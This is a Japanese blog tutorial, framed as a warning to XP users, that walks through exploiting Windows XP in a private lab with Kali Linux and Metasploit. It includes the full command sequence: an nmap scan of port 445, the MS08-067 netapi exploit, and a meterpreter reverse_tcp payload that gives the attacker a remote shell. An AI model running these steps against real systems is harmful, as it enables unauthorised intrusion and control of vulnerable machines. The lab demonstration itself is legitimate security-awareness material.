Kali Linux使ってXPをハックする

はじめに

この記事はXPを例としてハックしますが奨励してるわけではありません。逆に今でもXP使ってる人に見せてこんなに簡単にハックされるんだよってことを知らせて、XPの使用を減らしてもらいたいと考えての記事となります。

またこれはyoutubeの動画を参照しつつ、自分でやってみた結果です。英語雑魚なのでこの意味違うぞってのがあれば遠慮なく突っ込んでもらえるとありがたいです。

準備・環境

当然ですがXPをインターネットにつなげると危険なので,ローカル環境で行います。 kali linux
ip:192.168.0.3
Windows XP
ip:192.168.0.2

自分で試す人はこれから先のipは自分の環境のipに読みかえてください

ポートの確認

まずはポートの確認をします。exploitができるのは445ポートのmicrosoft-dsなのでそのポートが開いていることを以下のコマンドで確認します。

nmap -n -sV 192.168.0.2

445/tcp openと表示されればokです。 表示されてない場合はポート開放されていないので「コントロールパネル」→「ファイアーウォールの設定」から「ファイルとプリンタの共有」のところのポートを開放してください

参考:ポート開放について

metasploitの利用

msfconsoleを開く

msfconsoleを開きます。kali linuxの場合はターミナルで

msfconsole

とたたくか、「アプリケーション」→「Kali Linux」→「Exploitation Tools」→「Metasploit」→「metasploit framework」を選択するとmsfconsoleが開きます。

useコマンドを使う

useコマンドはexploit対象を決める(言葉があってるか自信がない) なのでまず対象を決めます。今回は対象がsmbなのでsmbをキーワードとして検索をかけてみます。

msf > search name: smb

すると対象がたくさん出てくると思います。今回は /exploit/windows/smb/ms08_067_netapi というのを対象とします。

そうしたらinfoコマンドで情報を見ます。

msf > info exploit/windows/smb/ms08_067_netapi

そうすると対象だったりなどの情報が見られます。 そうしたらuseコマンドを使います

msf > use exploit/windows/smb/ms08_067_netapi

すると以下のようにコンソールが変化します。

msf exploit(ms08_067_netapi) > 

この状態でshow optionsとたたくとオプションが見れます。

攻撃対象の選択

この後は次のようにコマンドを打っていきます

msf exploit(ms08_067_netapi) > set RHOST 192.168.0.2

RHOST => 192.168.0.2

msf exploit(ms08_067_netapi) > set LHOST 192.168.0.3

LHOST => 192.168.0.3

msf exploit(ms08_067_netapi) > set PAYLOAD windows/meterpreter/reverse_tcp
PAYLOAD => windows/meterpreter/reverse_tcp

RHOSTは攻撃対象、つまりwindowsxpipアドレス

LHOSTは今の自分のマシンのipアドレスをsetします

PAYLOADはreverse_tcpを設定します。

これで準備は完了です

exploit

msf exploit(ms08_067_netapi) > exploit

上記を実行すると

meterpreter >

となりハックすることができます。 ここで使えるコマンドは

  • sysinfo:システムの情報を見る

  • ipconfig:ネットワークの情報を見る

  • shell:シェルを起動する

などができます。(だいぶ脅威だよね)

おわりに

今回windowsxpをハックしましたが、かかった時間はなんと2時間くらい。 そのうちローカルネットワークの構築が1時間50分くらい。
(ipの固定がうまくいかなかったり,windowsxpはデフォルトでpingを返さない仕様だしみたいなもろもろの静で時間がかかってた)
環境を構築する必要のない実際の攻撃の場合はxpのipがわかってしまえばものの10分かからずハックができてしまいます。

xpは使わないようにしましょうね.....

参考資料。動画など

Exploit Windows XP using Metasploit/Meterpreter (MS08_067_netapi)

https://www.youtube.com/watch?v=6WMbrcGzNbkwww.youtube.com

Hack windows xp with metasploit Kali Linux

https://www.youtube.com/watch?v=aSvgZCDAg4Ywww.youtube.com

[WindowsXP] ping に応答するように設定する方法 kb.seeck.jp